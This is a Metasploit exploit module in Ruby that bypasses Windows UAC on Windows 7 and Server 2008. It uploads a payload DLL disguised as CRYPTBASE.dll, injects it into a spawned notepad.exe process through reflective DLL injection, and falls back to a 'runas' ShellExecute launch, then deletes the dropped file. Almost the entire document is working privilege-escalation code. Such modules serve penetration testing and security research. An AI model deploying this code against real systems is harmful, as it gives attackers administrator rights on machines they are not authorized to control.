##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/exe'
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::EXE
include Post::File
include Post::Windows::Priv
include Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection)',
'Description' => %q{
This module will bypass Windows UAC by utilizing the trusted publisher
certificate through process injection. It will spawn a second shell that
has the UAC flag turned off. This module uses the Reflective DLL Injection
technique to drop only the DLL payload binary instead of three seperate
binaries in the standard technique. However, it requires the correct
architecture to be selected, (use x64 for SYSWOW64 systems also).
},
'License' => MSF_LICENSE,
'Author' => [
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
'mitnick',
'mubix', # Port to local exploit
'Ben Campbell <eat_meatballs[at]hotmail.co.uk' # In memory technique
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0,
'References' => [
[
'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/',
'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
]
],
'DisclosureDate'=> "Dec 31 2010"
))
end
def bypass_dll_path
# path to the bypassuac binary
path = ::File.join(Msf::Config.data_directory, "post")
# decide, x86 or x64
sysarch = sysinfo["Architecture"]
if sysarch =~ /x64/i
unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i)
fail_with(
Exploit::Failure::BadConfig,
"x86 Target Selected for x64 System"
)
end
if sysarch =~ /WOW64/i
return ::File.join(path, "bypassuac-x86.dll")
else
return ::File.join(path, "bypassuac-x64.dll")
end
else
if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i)
fail_with(
Exploit::Failure::BadConfig,
"x64 Target Selected for x86 System"
)
end
::File.join(path, "bypassuac-x86.dll")
end
end
def check_permissions!
# Check if you are an admin
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
end
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
end
end
def exploit
validate_environment!
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Exploit::Failure::NotVulnerable,
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
)
when UAC_DEFAULT
print_good "UAC is set to Default"
print_good "BypassUAC can bypass this setting, continuing..."
when UAC_NO_PROMPT
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
runas_method
return
end
check_permissions!
@temp_path = expand_path('%TEMP%').strip
upload_payload_dll!
pid = spawn_inject_proc
run_injection(pid, bypass_dll_path)
# delete the uac bypass payload
vprint_status("Cleaning up payload file...")
file_rm(payload_filepath)
end
def payload_filepath
"#{@temp_path}\\CRYPTBASE.dll"
end
def runas_method
payload = generate_payload_exe
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
tmpdir = expand_path("%TEMP%")
tempexe = tmpdir + "\\" + payload_filename
write_file(tempexe, payload)
print_status("Uploading payload: #{tempexe}")
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
print_status("Payload executed")
end
def run_injection(pid, dll_path)
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
begin
vprint_status("Opening process #{pid}")
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
vprint_status("Executing payload")
thread = host_process.thread.create(exploit_mem + offset, 0)
print_good("Successfully injected payload in to process: #{pid}")
client.railgun.kernel32.WaitForSingleObject(thread.handle,14000)
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Failed to Inject Payload to #{pid}!")
vprint_error(e.to_s)
end
end
def spawn_inject_proc
windir = expand_path("%WINDIR%").strip
print_status("Spawning process with Windows Publisher Certificate, to inject into...")
cmd = "#{windir}\\System32\\notepad.exe"
pid = cmd_exec_get_pid(cmd)
unless pid
fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
end
pid
end
def upload_payload_dll!
payload = generate_payload_dll({:dll_exitprocess => true})
print_status("Uploading the Payload DLL to the filesystem...")
begin
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
write_file(payload_filepath, payload)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(
Exploit::Exception::Unknown,
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
)
end
end
def validate_environment!
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
winver = sysinfo["OS"]
unless winver =~ /Windows 2008|Windows [7]/
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
end
if is_uac_enabled?
print_status "UAC is Enabled, checking level..."
else
if is_in_admin_group?
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
else
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
end
end
end
end
